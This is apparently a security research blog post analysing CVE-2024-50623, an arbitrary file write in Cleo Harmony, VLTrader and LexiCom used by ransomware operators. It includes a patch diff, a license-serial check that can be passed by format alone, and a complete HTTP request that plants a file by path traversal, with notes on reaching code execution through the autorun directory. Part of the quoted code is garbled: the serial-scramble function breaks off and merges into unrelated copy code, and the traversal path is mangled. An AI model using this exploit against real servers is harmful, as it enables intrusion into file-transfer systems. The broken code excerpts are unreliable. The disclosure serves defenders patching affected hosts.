Cleo Harmony, VLTrader, and LexiCom: CVE-2024-50623, RCE via arbitrary file write

# Cleo Harmony, VLTrader, and LexiCom – RCE via Arbitrary File Write (CVE-2024-50623)

### _Note: this is a rapidly-drafted post on an evolving topic – we’ll update the post with more details as we discover more about the situation. Hit that F5 key regularly for updates!_

We were having a nice uneventful Wednesday afternoon here at watchTowr, when we got news of some ransomware operators using a zero-day exploit in a bunch of Cleo software – LexiCom, VLTransfer, and Harmony – applications that many large enterprises rely on to securely share files.

Cleo have a (paywalled) advisory, linked to from a very brief ‘advisory’ which states vulnerable versions:

“`
Cleo Harmony® (up to version 5.8.0.23) Cleo VLTrader® (up to version 5.8.0.23) Cleo LexiCom® (up to version 5.8.0.23)
“`

From the paywalled advisory:

Fair enough. But it’s patched, right? So not zero-day?

Well, the folk over at Huntress have some additional backstory – apparently Cleo attempted to fix the original bug, CVE-2024-50623, but didn’t do so correctly, and so exploitation has continued. Huntress teased us with an exploitation video, running on the latest patched version, but were otherwise short on technical detail, so we decided to dive in ourselves and clear the waters – what exactly _is_ CVE-2024-50623? Was it patched correctly? What should the administrators of affected servers do, if anything? The threat actors clearly have this information already, so why shouldn’t administrators of affected systems!?

For anyone doubting how interesting the article will be, here’s a quick teaser image to persuade you it’s worth your time. Readers with a keen eye will note the version number, which shows we have reproduced the vulnerability on the older version of the software:

Oooh, is that some arbitrary file read?! I think so! Read on for details, and the arbitrary file write we’re after.

### Patch-diffing

Details are sparse, and all we know is that an arbitrary file write is being leveraged for RCE via the `autoruns` functionality. Our first port of call in illuminating the situation is to understand CVE-2024-50623. To do this, it’s time to do some patch diffing.

We diff’ed between the vulnerable version (5.7.0) and the _apparently-patched-but-not-really_ version (5.8.0.21) to see what is going on. It’s all Java, so time to fire up that decompiler and wade in. There are a lot of changes to go through, unfortunately, but after some time we come to this one, found in `Syncer.java`:

“`
+ protected int validatePath(String path) { + try { + if (!Strings.isNullOrEmpty(path)) { + URI uri = new URI(path); + if (!Strings.isNullOrEmpty(uri.getScheme())) { + return ServiceException.REMOTE_IO_EXCEPTION; + } + } + } catch (URISyntaxException e) { + } + String path2 = FilenameUtils.normalize(path); + if (Strings.isNullOrEmpty(path2)) { + return ServiceException.REMOTE_IO_EXCEPTION; + } + String relativePath = LexIO.getRelative(path2); + if (relativePath.startsWith(“/”) || relativePath.startsWith(“\”) || new File(path2).isAbsolute()) { + return ServiceException.REMOTE_IO_EXCEPTION; + } + String relativePath2 = relativePath.toLowerCase().replace(“\”, “/”); + for (String rootpath : UNPROTECTED_PATHS) { + if (relativePath2.startsWith(rootpath)) { + return 200; + } + } + for (String rootpath2 : PROTECTED_PATHS) { + if (relativePath2.startsWith(rootpath2)) { + return ServiceException.REMOTE_IO_EXCEPTION; + } + } + return 200; + }
“`

Veeeery interesting! A function has been added, named `validatePath`, which performs path sanitization, rejecting access to certain filesystem locations (and attempting to neutralize directory separators). This sounds like a directory traversal could be in play here.

To fully understand what’s going on here, we obviously need to examine the surrounding logic. This class that it resides in, `Syncer.java`, handles the endpoint `/Synchronization` , which handles the synchronization of files between cluster nodes. In this scenario, there are multiple installations of the Cleo product, performing load-balancing.

Each node has to be licensed, and so (for some reason) Cleo decided to identify cluster nodes by the license number, rather than (say) hostname, or IP address.

Since it deals with synchronization of files, the `/Synchronization` endpoint sounds like where you’d find an arbitrary file read (or arbitrary file write) primitive, and if we keep looking, we can spot both.

Searching the file for likely dangerous code reveals the following:

“`
String path = fixPath(getParameterValue(header, “path”, false)); byte[] bytes = fetchLocalFile(path, LexBean.decrypt(tempPassphrase)); fireRetrieveEvent(path); statusCode = 200; httpResponse.setStatus(200); httpResponse.setContentLength(bytes.length); httpResponse.setHeader(“Connection”, “close”); ServletOutputStream outputStream = httpResponse.getOutputStream(); outputStream.write(bytes); outputStream.close();
“`

This looks suspiciously like an arbitrary read primitive if we can access it via a code path that neglects sanitization. Unfortunately for us, though, there’s a function above it which verifies the serial number of the current installation is valid.

“`
String serialNumber = getDecodedParameterValue(header, VLAdminCLI.LIST_FLAG, true); if (!islValid(serialNumber) || … ) { statusCode = 403;
“`

This appeared to be a blocker, at first sight – surely an attacker doesn’t know the license number of the installation – but after some reversing, we found that it wasn’t checked in the manner that we’d expect. Instead of verifying that the serial number matches the serial number on the current installation, the `islValid` method will simply check if the serial number matches the format of a valid serial number. We can supply any value that passes this check.

Fortunately, the serial number algorithm doesn’t require any fancy constraint solvers or crypto, as it is simply:

“`
protected static boolean islValid(String serialNumber) { if (serialNumber == null) { return false; } else if (serialNumber.length() == 13 && serialNumber.charAt(6) == ‘-‘) { if (!License.scramble(serialNumber.substring(0, 6)).equals(serialNumber.substring(7))) { return false; } } // … further code omitted .. } public static String scramble(String serial) { int shift = 0; for(int i = 0; i 0) { LexiCom.copy((InputStream)in, out); } ((InputStream)in).close(); out.close();
“`

This looks suspiciously like an arbitrary write, and so we gave it a go:

“`
POST /Synchronization HTTP/1.1 Host: 192.168.1.18:5080 VLSync: ADD;l=Ab1234-RQ0258;n=VLTrader;v=5.7.0.0;a=192.168.1.100;po=5080;s=True;b=False;pp=myEncryptedPassphrase;path=……test.txt Content-Type: multipart/form-data; boundary=—–1337 Content-Length: 10 watchTowr is k3wl
“`

Examining the target filesystem revealed that the file `test.txt` had been created, containing our body text, `watchTowr is k3wl`.

Huntress observed threat actors using this arbitrary file write to achieve RCE by writing to the `autorun` directory. It’s clear we’ve reproduced CVE-2024-50623 and can achieve RCE on unpatched installations (5.8.0.23 and below).

We’ve written a quick PoC which you can use to achieve arbitrary file read/write on vulnerable versions of Cleo software.

### The patch

Of course, the real buzz around this bug is in the patch, which seems somewhat fumbled. As we saw above, the `validatePath` function has been added, and is invoked before file access, which is sufficient to protect against the attack we detail – although we are under the impression it can be bypassed (this is left as an exercise to the reader).

We were also interested by some of the changes around license number validation:

“`
private int fileIn(String header, InputStream in, int length) throws Exception { String warning; int statusCode = 200; String serialNumber = getDecodedParameterValue(header, VLAdminCLI.LIST_FLAG, true); String poolVersion = getDecodedParameterValue(header, “pv”, true); SyncVersalexThread thread = findThread(serialNumber); updateIn(thread); String path = fixPath(getParameterValue(header, “path”, false)); Sync.Versalex versalex = null; boolean noShowPool = false; boolean newVersalex = false; LexFile file = LexBean.getAbsolute(new LexFile(path)); if (file.exists() && !file.canWrite()) { statusCode = 403; } else { String force = getParameterValue(header, “force”, false); – versalex = LexiCom.sync.findVersalex(serialNumber); + versalex = LexiCom.sync.findVersalex(serialNumber, false); + if (versalex == null && thread != null) { + versalex = thread.versalex; + } + if (versalex == null) { + return ServiceException.REMOTE_SERVICE_EXCEPTION; + } noShowPool = versalex != null && versalex.igetPool().startsWith(Sync.NO_SHOW_POOL_ALIAS); if (versalex != null && !noShowPool) { boolean updated = false;
“`

We’re not sure what purpose these changes serve, but we’re interested in finding out!

### Conclusion

Well, there we have it. A vuln in active use by threat actors, laid bare for all to see.

There’s not much advice we can give to those charged with securing vulnerable hosts; all we can do is point them to Huntress’ advice on the matter:

“`
At the time of writing, the 5.8.0.21 patched versions are insufficient against the exploit we are seeing in the wild. Speaking over a Zoom call, Cleo expressed that they will have a new patch available as soon as possible. In the interim, we have suggested mitigations in an attempt to limit the attack surface. Knowing that the latter half of this attack path relies on code execution via the autoruns directory, it is possible to reconfigure Cleo software to disable this feature. However, this will not prevent the arbitrary file-write vulnerability until a patch is released.
“`

Yikes.

Stay safe out there, people!

Here at watchTowr, we believe continuous security testing is the future, enabling the rapid identification of holistic high-impact vulnerabilities that affect your organisation.

If you’d like to learn more about the **watchTowr Platform** **, our Continuous Automated Red Teaming and Attack Surface Management solution**, please get in touch.